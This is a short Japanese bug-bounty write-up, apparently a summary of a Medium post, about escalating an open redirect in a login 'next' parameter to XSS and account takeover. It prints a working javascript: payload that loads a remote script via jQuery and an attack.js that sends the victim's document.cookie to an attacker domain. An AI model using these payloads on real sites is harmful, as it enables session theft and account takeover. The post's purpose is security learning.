Hello there, ('ω')ノ
アカウント乗っ取りへのオープンリダイレクトを。
脆弱性:
オープンリダイレクト
アカウント乗っ取り
記事:
https://medium.com/@__rishabh__/open-redirect-to-account-takeover-e939006a9f24
今回は、オープン リダイレクトをアカウント乗っ取りにエスカレーションした方法を。
https://victim.com/login/?next=/page/
これは、ログイン後に指定されたページにリダイレクトする URL でしたが、
問題は、https://google.com を次のパラメータに渡すと、
外部の google.com にリダイレクトされることで。
オープン リダイレクトに関する 15 件以上のレポートを読んだ結果、
この脆弱性を利用してユーザーをドメインにリダイレクトし、
操作された URL が次のようになる機密情報の入力を求めることができることがわかり。
https://victim.com/login/?next=https://your_domain.com
しかし、そのように報告せず。
代わりに、別のスキーム (javascript:) などの別のことを試してみては
どうだろうかと考え。
そして幸運なことに、そのためのフィルタがなかったため、
脆弱性がフィッシング攻撃から XSS にエスカレートし、
その後、ちょうど良い POC を作成して。
操作された URL を開いた現在のユーザの Cookie を盗んで。
POC を作成する際に直面した問題:
1.二重引用符、一重引用符、括弧は使用できず。[backtick(`)を使用]
2.Cookie を盗むには、Cookie を使用してサーバにリクエストを行う必要が
ありますが、どちらも括弧が必要なため、
fetch または XMLHttpRequest は使用できず。
1 日検索した後、Web サイトが jquery を使用していることがわかったので、
独自の JavaScript を追加して。
彼らのドメインでは基本的に何でもできず。
?next= javascript:$.getScript`https://my_own_domain/attack.js`
Attack.js
if(location.host == “my_own_domain”){
Url = new URL(document.location);
Parameters = new URLSearchParams(x.search);
cookie = Parameters.get(“cookie”);
document.write(cookie);
}
else{
var cookie = document.cookie;
document.location=“https://my_own_domain/attacker.html?cookie="+cookie;
}
テイクアウト:
1.XSS (?next=<script>alert(1)</script>) で試した別のことを常に試してみて。
うまくいくこともあればうまくいかないこともありますが、どちらの場合も、
経験を積んで概念に慣れることができて。
2.最初のバグを見つけるには時間がかかるかもしれませんが、
その経験にはそれだけの価値があって。
最終ペイロード:
https://victim.com/?next= javascript:$.getScript`https://my_own_domain/attack.js`
Best regards, (^^ゞ